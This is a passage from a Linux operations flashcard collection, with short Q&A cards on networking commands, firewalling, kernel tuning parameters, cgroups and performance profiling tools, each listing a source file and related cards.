A: <html><code>ip route</code></html> manages routing tables (where to send packets). <html><code>ip rule</code></html> manages the routing policy database (which routing table to use, based on source IP, mark, etc.). Together they enable policy-based routing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Why is the `ip` command preferred over `ifconfig`?]]
* [[What are the following commands used for: ip addr, ip route, ip link?]]
* [[What does `ip route add default via 10.0.0.1` do?]]
Q: What does <html><code>resolvectl status</code></html> show?
A: Current DNS resolver configuration from systemd-resolved: DNS servers, search domains, DNSSEC status, and per-link configuration. Replacement for checking <html><code>/etc/resolv.conf</code></html> directly.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the file /etc/resolv.conf used for? What does it contain?]]
* [[systemd-resolved: Linux local caching stub resolver]]
* [[What is the DNS resolution order on Linux?]]
Q: What is the <html><code>iperf3</code></html> tool?
A: A network bandwidth measurement tool. Run <html><code>iperf3 -s</code></html> on the server and <html><code>iperf3 -c server_ip</code></html> on the client to measure TCP/UDP throughput between two endpoints.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is a TAP vs TUN device?
A: TUN (tunnel) operates at Layer 3 (IP packets). TAP (network tap) operates at Layer 2 (Ethernet frames). Used by VPNs — OpenVPN can use either; WireGuard uses TUN.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is WireGuard?]]
* [[Linux bridge: Layer 2 virtual switch for network segments]]
Q: What is WireGuard?
A: A modern VPN protocol integrated into the Linux kernel since 5.6. Faster, simpler, and more secure than IPsec and OpenVPN. Uses Curve25519, ChaCha20, and Poly1305 cryptography.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a TAP vs TUN device?]]
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
Q: What is the <html><code>tc</code></html> command?
A: Traffic Control — configures the kernel's packet scheduler for QoS, rate limiting, traffic shaping, and simulation of network conditions (latency, loss). Example: <html><code>tc qdisc add dev eth0 root netem delay 100ms</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is TCP slow start?]]
* [[What is the `ethtool` command?]]
* [[What does `sysctl net.core.rmem_max` control?]]
Q: What is the difference between iptables INPUT and FORWARD chains?
A: INPUT applies to packets destined for the local machine. FORWARD applies to packets being routed through the machine to another destination. A machine must have ip_forward=1 to process FORWARD rules.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the iptables chains in the filter table?]]
* [[What are the iptables tables and their purposes?]]
Q: What is the <html><code>conntrack</code></html> command?
A: Manages the kernel's connection tracking table (used by stateful firewalling in iptables/nftables). <html><code>conntrack -L</code></html> lists tracked connections. <html><code>conntrack -F</code></html> flushes the table.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux conntrack table exhaustion silently drops connections]]
* [[What kernel parameter controls the maximum number of connections tracked by netfilter?]]
Q: What does the <html><code>ip -s link show</code></html> command display?
A: Interface statistics including RX/TX bytes, packets, errors, dropped, overruns, and carrier errors. Useful for diagnosing network interface problems.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `ip -brief addr show` command?]]
* [[ip command: modern Linux network configuration (iproute2)]]
* [[What replaces `ifconfig` in the ip command suite?]]
Q: What is DPDK?
A: Data Plane Development Kit — a set of libraries for fast packet processing that bypasses the kernel network stack entirely. Used in high-performance networking (NFV, SDN). Packets go directly from NIC to userspace via huge pages and poll mode drivers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `dpkg-buildpackage`?]]
* [[What is the difference between dpkg and apt?]]
* [[What is the XDP (eXpress Data Path) framework?]]
Q: What kernel parameter controls the maximum number of connections tracked by netfilter?
A: <html><code>net.netfilter.nf_conntrack_max</code></html> — default varies by system memory. If exhausted, new connections are dropped. Monitor with <html><code>/proc/sys/net/netfilter/nf_conntrack_count</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `net.core.somaxconn` control?]]
* [[Linux conntrack table exhaustion silently drops connections]]
* [[What does `sysctl net.core.rmem_max` control?]]
Q: What is the difference between <html><code>ip link set dev eth0 down</code></html> and <html><code>ifdown eth0</code></html>?
A: <html><code>ip link</code></html> directly changes the interface state at the kernel level. <html><code>ifdown</code></html> uses the distribution's network configuration system (ifupdown, NetworkManager) which may also remove routes, release DHCP, and run scripts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `ip addr` and `ip link`?]]
* [[What replaces `ifconfig` in the ip command suite?]]
Q: What is GRE tunneling?
A: Generic Routing Encapsulation — a tunneling protocol that encapsulates packets inside IP packets. Used for connecting remote networks. Created in Linux with <html><code>ip tunnel add</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SSH tunneling (port forwarding)?]]
* [[Where does the name "grep" come from?]]
* [[What is the difference between `grep -E` and `grep -P`?]]
Q: What is the <html><code>bridge</code></html> command?
A: Part of iproute2, manages Linux bridge devices. <html><code>bridge fdb show</code></html> displays the forwarding database (MAC table). <html><code>bridge link</code></html> shows bridge ports and their states.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux bridge: Layer 2 virtual switch for network segments]]
* [[What is a network bridge?]]
* [[ip command: modern Linux network configuration (iproute2)]]
Q: How do you create a virtual Ethernet pair (veth)?
A: <html><code>ip link add veth0 type veth peer name veth1</code></html> — creates two connected virtual interfaces. Moving one end to a network namespace creates a connection between namespaces. Fundamental to container networking.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How to link two separate network namespaces so you can ping an interface on one ns from…]]
* [[Linux bridge: Layer 2 virtual switch for network segments]]
Q: What is the purpose of keepalived?
A: Implements VRRP (Virtual Router Redundancy Protocol) for high-availability virtual IP addresses. Also provides health checking for LVS (Linux Virtual Server) load balancing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is TCP keepalive?]]
Q: What is LVS (Linux Virtual Server)?
A: A Layer 4 load balancer built into the Linux kernel using IPVS (IP Virtual Server). Supports NAT, Direct Routing (DR), and IP tunneling modes. Managed with <html><code>ipvsadm</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What virtualization solutions are available for Linux?]]
* [[libvirt: virtualization management API and toolkit]]
* [[KVM (Kernel-based Virtual Machine)]]
Q: What is the maximum number of TCP connections a Linux server can handle?
A: Theoretically limited by available file descriptors, memory, and the ephemeral port range. A server can handle millions of connections since it uses one port (e.g., 80) and connections are identified by the 4-tuple (src_ip, src_port, dst_ip, dst_port).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the maximum number of file descriptors per process?]]
* [[What does `net.core.somaxconn` control?]]
Q: What does <html><code>sysctl net.core.rmem_max</code></html> control?
A: Maximum receive socket buffer size in bytes. Increase for high-throughput applications. Often tuned alongside <html><code>net.core.wmem_max</code></html> (send buffer) and the TCP-specific <html><code>net.ipv4.tcp_rmem</code></html>/<html><code>net.ipv4.tcp_wmem</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `net.core.somaxconn` control?]]
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
* [[What kernel parameter controls the maximum number of connections tracked by netfilter?]]
Q: What is the <html><code>socat</code></html> command?
A: "SOcket CAT" — a multipurpose relay tool that establishes two bidirectional byte streams and transfers data. More powerful than netcat, supporting Unix sockets, SSL, proxy protocols, and file descriptors.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `netcat` (nc) do?]]
* [[What is the `ss -s` command useful for?]]
Q: What is the /proc/net/tcp file format?
A: Each line represents a TCP socket with hex-encoded local/remote addresses and ports, socket state, transmit/receive queue sizes, timer info, UID, inode, and more. <html><code>ss</code></html> reads this for its output.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ss is 10× faster than netstat on busy servers]]
* [[What are the key `ss` flags?]]
Q: What are the common HTTP status code ranges?
A: 1xx: informational. 2xx: success (200 OK, 201 Created, 204 No Content). 3xx: redirection (301 Moved, 302 Found, 304 Not Modified). 4xx: client error (400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found). 5xx: server error (500 Internal, 502 Bad Gateway, 503 Service Unavailable).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the <html><code>curl -v</code></html> flag useful for?
A: Verbose mode showing the complete request/response cycle: DNS resolution, TCP connection, TLS handshake, request headers, response headers, and body. Essential for HTTP debugging.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the <html><code>host</code></html> command?
A: Simple DNS lookup tool: <html><code>host example.com</code></html> returns A records. <html><code>host -t MX example.com</code></html> queries MX records. Simpler output than dig, good for quick lookups.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `nslookup` command?]]
* [[What is the `dig` command used for?]]
* [[What is the `hostnamectl` command?]]
Q: What is macvlan?
A: A Linux network driver that allows creating multiple virtual interfaces with distinct MAC addresses on a single physical interface. Each virtual interface gets its own IP and appears as a separate device on the network. Used in container networking.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a VLAN?]]
Q: What is ipvlan?
A: Similar to macvlan but all virtual interfaces share the parent's MAC address and use different IPs. Avoids MAC address table overflow on switches. Supports L2 and L3 modes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a VLAN?]]
Q: What is the XDP (eXpress Data Path) framework?
A: An eBPF-based programmable packet processing framework that runs at the earliest point in the network stack (before skb allocation). Achieves near-line-rate packet processing for DDoS mitigation, load balancing, and filtering.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `eBPF` used for in networking?]]
* [[What is eBPF?]]
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
Q: How do you persistently set a static IP on RHEL 9?
A: <html><code>nmcli connection modify eth0 ipv4.addresses 10.0.0.5/24 ipv4.gateway 10.0.0.1 ipv4.dns "8.8.8.8" ipv4.method manual && nmcli connection up eth0</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `nmcli` command?]]
* [[Kernel routing state is ephemeral; configuration must be persisted separately]]
* [[You would like to enable IPv4 forwarding in the kernel, how would you do it?]]
Q: What is the difference between TCP RST and FIN?
A: FIN is a graceful connection close — both sides complete the four-way teardown. RST (reset) is an abrupt close — immediately drops the connection without waiting for acknowledgments. RST indicates an error or rejected connection.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
Q: What is Cilium?
A: A Kubernetes CNI plugin that uses eBPF for networking, security, and observability. Replaces kube-proxy and iptables with eBPF programs for higher performance and more granular network policies.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What does /proc/sys/net/ipv4/tcp_syncookies control?
A: Enables SYN cookies — a defense against SYN flood attacks. When the SYN queue is full, the server encodes connection state in the SYN-ACK sequence number instead of allocating resources, allowing legitimate connections to complete.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
* [[What is the /proc/net/tcp file format?]]
Q: What is the difference between symmetric and asymmetric routing?
A: Symmetric: packets take the same path in both directions. Asymmetric: packets take different paths. Asymmetric routing can cause issues with stateful firewalls and reverse path filtering (<html><code>rp_filter</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the difference between symmetric and asymmetric encryption.]]
Q: What is reverse path filtering?
A: A security feature (<html><code>net.ipv4.conf.all.rp_filter</code></html>) that drops packets arriving on an interface if the source address would not be routed back through that same interface. Prevents IP spoofing. Values: 0=disabled, 1=strict, 2=loose.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `net.ipv4.ip_forward` control?]]
* [[What does `ip route add default via 10.0.0.1` do?]]
Q: What is <html><code>systemd-networkd-wait-online.service</code></html>?
A: A systemd service that blocks boot until network connectivity is established. Often causes boot delays when not all interfaces come up. Can be configured with <html><code>--any</code></html> to proceed when any interface is online.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Systemd units separate boot-time enablement from runtime control]]
* [[What is systemd-networkd?]]
* [[What is socket activation?]]
Q: What is a gratuitous ARP?
A: An ARP reply sent without being requested, used to announce an IP address change, update ARP caches after failover, or detect IP conflicts. Important in high-availability setups.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ARP?]]
Q: What is the <html><code>arping</code></html> command?
A: Sends ARP request packets to detect if an IP address is in use on the local network and identify the responding MAC address. <html><code>arping -D 10.0.0.1</code></html> checks for duplicate addresses.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ARP?]]
* [[What is `arp -a` replaced by?]]
Q: What is <html><code>ss -i</code></html> useful for?
A: Shows internal TCP information including congestion window (cwnd), round-trip time (rtt), retransmissions, and MSS. Valuable for diagnosing TCP performance issues.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ss is 10× faster than netstat on busy servers]]
* [[What is the difference between `ss` and `netstat`?]]
Q: What is a bonding vs teaming?
A: Bonding (kernel module) and teaming (userspace, NetworkManager) both aggregate network interfaces for redundancy/performance. Teaming is the newer approach with better integration into NetworkManager and JSON-based configuration.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux network bonding modes]]
* [[Linux bonding driver offers seven modes; only mode 4 is LACP]]
Q: What is the <html><code>bmon</code></html> tool?
A: A real-time bandwidth monitor that shows per-interface traffic rates and statistics in a terminal-based UI. Simpler alternative to iftop for quick bandwidth monitoring.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `iftop`?]]
* [[What is the `iperf3` tool?]]
* [[What is `udevadm monitor`?]]
Q: What is the difference between IPv4 and IPv6 address sizes?
A: IPv4: 32-bit addresses (~4.3 billion). IPv6: 128-bit addresses (~3.4 x 10^38). IPv6 addresses are written in hexadecimal groups separated by colons (e.g., <html><code>2001:0db8::1</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the loopback address in IPv6?]]
* [[What is a link-local address in IPv6?]]
Q: What is the loopback address in IPv6?
A: <html><code>::1</code></html> (equivalent to 127.0.0.1 in IPv4).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What happens when you `ping ::1`?]]
* [[The loopback (lo) interface]]
* [[What is a link-local address in IPv6?]]
Q: What is a link-local address in IPv6?
A: An auto-configured address in the <html><code>fe80::/10</code></html> range, used for communication on the local network segment. Every IPv6-enabled interface has one. Not routable beyond the local link.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the loopback address in IPv6?]]
* [[How to trigger neighbor discovery in IPv6?]]
* [[What is the difference between `ip addr` and `ip link`?]]
Q: What Linux kernel parameter enables IPv6?
A: <html><code>net.ipv6.conf.all.disable_ipv6 = 0</code></html> (0 enables, 1 disables). Can be set per-interface with <html><code>net.ipv6.conf.<iface>.disable_ipv6</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the loopback address in IPv6?]]
* [[How to trigger neighbor discovery in IPv6?]]
* [[ip command: modern Linux network configuration (iproute2)]]
Q: What is the <html><code>ss -s</code></html> command useful for?
A: Shows socket statistics summary: total, TCP, UDP, RAW, FRAG, and per-state counts (ESTAB, SYN-SENT, TIME-WAIT, etc.). Quick overview of connection health.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `ss` and `netstat`?]]
* [[ss is 10× faster than netstat on busy servers]]
* [[What are the key `ss` flags?]]
Q: What is <html><code>tshark</code></html>?
A: The command-line version of Wireshark for packet capture and analysis. Supports all Wireshark dissectors and display filters. Useful for scripted packet analysis.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `tcpdump`?]]
Q: What is the difference between HTTP/1.1, HTTP/2, and HTTP/3?
A: HTTP/1.1: text-based, one request per connection (or pipelining). HTTP/2: binary framing, multiplexing multiple streams over one TCP connection, header compression. HTTP/3: uses QUIC (UDP-based) instead of TCP, reducing connection setup latency.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the <html><code>ip -brief addr show</code></html> command?
A: Shows a compact summary of all interfaces with their state and IP addresses. Much more readable than the full <html><code>ip addr show</code></html> output.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `ip -s link show` command display?]]
* [[ip command: modern Linux network configuration (iproute2)]]
* [[What replaces `ifconfig` in the ip command suite?]]
Q: What is RFC 5737?
A: Defines documentation IP address ranges: 192.0.2.0/24 (TEST-NET-1), 198.51.100.0/24 (TEST-NET-2), 203.0.113.0/24 (TEST-NET-3). Should be used in documentation and examples instead of real addresses.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the private IP address ranges?]]
* [[What is the subnet mask 255.255.255.0 in CIDR notation?]]
* [[What does the `ip -s link show` command display?]]
Q: What is <html><code>iftop</code></html>?
A: Displays real-time bandwidth usage per connection on a network interface. Shows source, destination, and transfer rates. Requires root/capabilities.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `bmon` tool?]]
* [[What does the `ip -s link show` command display?]]
* [[What is the `ethtool` command?]]
Q: What happens when you <html><code>ping ::1</code></html>?
A: Sends ICMPv6 echo requests to the IPv6 loopback address. Equivalent to <html><code>ping 127.0.0.1</code></html> for IPv6 connectivity testing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the loopback address in IPv6?]]
* [[The loopback (lo) interface]]
Q: What is <html><code>nftables</code></html> advantage over iptables for large rulesets?
A: nftables supports sets, maps, and concatenations that replace hundreds of individual rules with a single rule referencing a set. Dramatically better performance for large rulesets and atomic rule replacement.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the relationship between firewalld, iptables, and nftables?]]
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
Q: iptables vs nftables - what matters?
A: nftables is the successor to iptables with significant improvements:
''nftables advantages'':
* Faster rule processing (single evaluation)
* Unified framework (no separate ip6tables, arptables)
* Atomic rule updates (no packet loss during reload)
* Better syntax, easier to read
* Sets and maps for efficient matching
''Conceptually similar'': Both use chains, rules, hooks. Knowledge transfers.
''Practical reality'':
* RHEL 8+/Debian 10+ default to nftables
* <html><code>iptables</code></html> command often wraps nftables backend
* Legacy scripts still work via compatibility layer
''Migration'': <html><code>iptables-translate</code></html> converts rules to nftables syntax.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/interactive/knowledge/data/cards/security.tsv</code></html>
//Merged from 6 source atoms.//
''Related atoms''
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
* [[What are the iptables tables and their purposes?]]
Q: What is the difference between a raw socket and a regular socket?
A: Regular sockets use TCP or UDP at the transport layer. Raw sockets allow direct access to lower-layer protocols (IP, ICMP), enabling custom packet construction. Requires CAP_NET_RAW capability.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between TCP and UDP?]]
* [[What is the difference between a pipe and a socket?]]
Q: What is the maximum number of file descriptors per process?
A: Controlled by <html><code>ulimit -n</code></html> (soft limit, default 1024) and <html><code>/proc/sys/fs/nr_open</code></html> (hard limit, default 1048576). Can be set per-service in systemd with <html><code>LimitNOFILE=</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
* [[What does `fs.file-max` control?]]
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
Q: What is <html><code>epoll</code></html> in Linux?
A: A scalable I/O event notification mechanism that efficiently monitors large numbers of file descriptors (sockets). Used by high-performance servers (nginx, Node.js). Superior to <html><code>select</code></html> and <html><code>poll</code></html> for many concurrent connections.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `bpftrace`?]]
* [[What is `inotifywait`?]]
Q: What is the thundering herd problem?
A: When many sleeping processes/threads are woken simultaneously by a single event (e.g., new connection on a listening socket), but only one can handle it. The others waste CPU waking up and going back to sleep. <html><code>EPOLLEXCLUSIVE</code></html> mitigates this.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the <html><code>taskset</code></html> command?
A: Sets or retrieves the CPU affinity of a process — which CPUs it can run on. <html><code>taskset -c 0,1 command</code></html> restricts to CPUs 0 and 1. Useful for performance tuning and NUMA optimization.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the <html><code>numactl</code></html> command?
A: Controls NUMA policy for processes. <html><code>numactl --cpunodebind=0 --membind=0 command</code></html> pins both CPU and memory to NUMA node 0. <html><code>numactl --hardware</code></html> shows NUMA topology.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is NUMA?]]
* [[NUMA misconfiguration on multi-socket servers causes 30–40% throughput loss]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
Q: What is <html><code>/proc/interrupts</code></html>?
A: Shows interrupt counts per CPU for each IRQ line, including the interrupt controller, device, and type. Useful for identifying interrupt imbalances and NIC queue distribution.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What kind of information one can find in /proc?]]
* [[What does `/proc/cpuinfo` contain?]]
* [[Explain interrupts and interrupt handlers in Linux.]]
Q: What is <html><code>irqbalance</code></html>?
A: A daemon that distributes hardware interrupts across CPUs for better performance. Prevents all interrupts from being handled by CPU 0. Can be tuned to ban certain CPUs from handling specific interrupts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/proc/interrupts`?]]
* [[Explain interrupts and interrupt handlers in Linux.]]
* [[What is a softirq?]]
Q: What is the <html><code>perf top</code></html> command?
A: A real-time performance profiler showing which functions consume the most CPU, similar to <html><code>top</code></html> but at the function/instruction level. Excellent for identifying hot spots.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[What is perf?]]
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
Q: What is <html><code>perf record</code></html> and <html><code>perf report</code></html>?
A: <html><code>perf record -g command</code></html> profiles a command, capturing stack traces. <html><code>perf report</code></html> displays the collected data as an interactive call graph. Essential for performance analysis and optimization.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is perf?]]
* [[What is the `perf top` command?]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
Q: What is a flame graph?
A: A visualization of profiled stack traces where the x-axis represents the proportion of time spent and the y-axis shows the call stack. Created by Brendan Gregg. Generated from <html><code>perf record</code></html> data using flamegraph.pl.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[What are you using for debugging CPU related issues?]]
* [[What is ftrace?]]
Q: What is PSS (Proportional Set Size)?
A: A memory metric that divides shared pages equally among all processes sharing them. More accurate than RSS for processes sharing libraries. PSS of all processes sums to total physical memory used.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain RSS vs VSZ vs PSS.]]
* [[Find high-memory processes by RSS, PSS, or /proc parsing]]
* [[What does `/proc/PID/smaps` show?]]
Q: What is <html><code>cgroups v2 memory.pressure</code></html>?
A: A file in cgroups v2 that reports memory pressure metrics (some, full) with 10-second, 60-second, and 300-second averages. Part of the PSI (Pressure Stall Information) system. Non-zero values indicate resource contention.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[PSI metrics quantify memory pressure before performance collapse]]
* [[What is memory.high in cgroups v2?]]
* [[What is cgroup memory.max in cgroups v2?]]
Q: What is PSI (Pressure Stall Information)?
A: Kernel metrics (since 5.2) in <html><code>/proc/pressure/{cpu,memory,io}</code></html> showing the percentage of time tasks are stalled waiting for resources. Provides a unified view of resource contention without needing to interpret multiple metrics.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[PSI metrics quantify memory pressure before performance collapse]]
* [[What is `cgroups v2 memory.pressure`?]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
Q: What is the <html><code>turbostat</code></html> command?
A: Reports CPU frequency, C-states, power consumption, and temperature per core. Useful for verifying CPU power management, frequency scaling, and thermal throttling.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `perf top` command?]]
* [[What is the `lscpu` command?]]
* [[What does `/proc/cpuinfo` contain?]]
Q: What is <html><code>slabtop</code></html>?
A: Displays kernel slab allocator statistics in real-time — showing object caches, their sizes, and utilization. Useful for diagnosing kernel memory issues and identifying which subsystems consume the most kernel memory.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the SLUB allocator?]]
* [[What is a kernel, and what does it do?]]
* [[System call (syscall): user-space to kernel interface]]
Q: What is <html><code>nproc</code></html>?
A: Prints the number of available processing units (CPU cores/threads). Commonly used in build scripts: <html><code>make -j$(nproc)</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `getconf _NPROCESSORS_ONLN` return?]]
* [[Where can you find information on the processor (like number of CPUs)?]]
* [[What does `/proc/cpuinfo` contain?]]
Q: What does <html><code>getconf _NPROCESSORS_ONLN</code></html> return?
A: The number of online processors, similar to <html><code>nproc</code></html>. A POSIX-compliant way to query CPU count.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `nproc`?]]
* [[What does `/proc/cpuinfo` contain?]]
* [[Where can you find information on the processor (like number of CPUs)?]]
Q: What is <html><code>stress-ng</code></html>?
A: A stress testing tool that exercises various system resources (CPU, memory, I/O, network). Used for stability testing, benchmarking, and validating resource limits. More comprehensive than the older <html><code>stress</code></html> tool.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[The Four Resources framework organizes performance bottlenecks]]
* [[What is syslog-ng?]]
Q: What is cgroup memory.max in cgroups v2?
A: The hard memory limit for a cgroup. If a process in the cgroup exceeds this, the OOM killer is invoked for that cgroup. Set to <html><code>max</code></html> for no limit.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[What is `cgroups v2 memory.pressure`?]]
Q: What is memory.high in cgroups v2?
A: A memory throttling threshold. When usage exceeds memory.high, the kernel aggressively reclaims memory from the cgroup, slowing it down. Unlike memory.max, it does not trigger OOM killing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[What is `cgroups v2 memory.pressure`?]]
Q: What does <html><code>systemd-cgtop</code></html> show?
A: Real-time resource usage (CPU, memory, I/O) per cgroup/service, similar to <html><code>top</code></html> but organized by systemd unit. Shows which services consume the most resources.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How does systemd integrate with cgroups?]]
* [[Debugging systemd services and setting resource limits via cgroups]]
* [[What does `pidstat` show?]]
Q: What is the difference between <html><code>uptime</code></html> load average and CPU utilization?
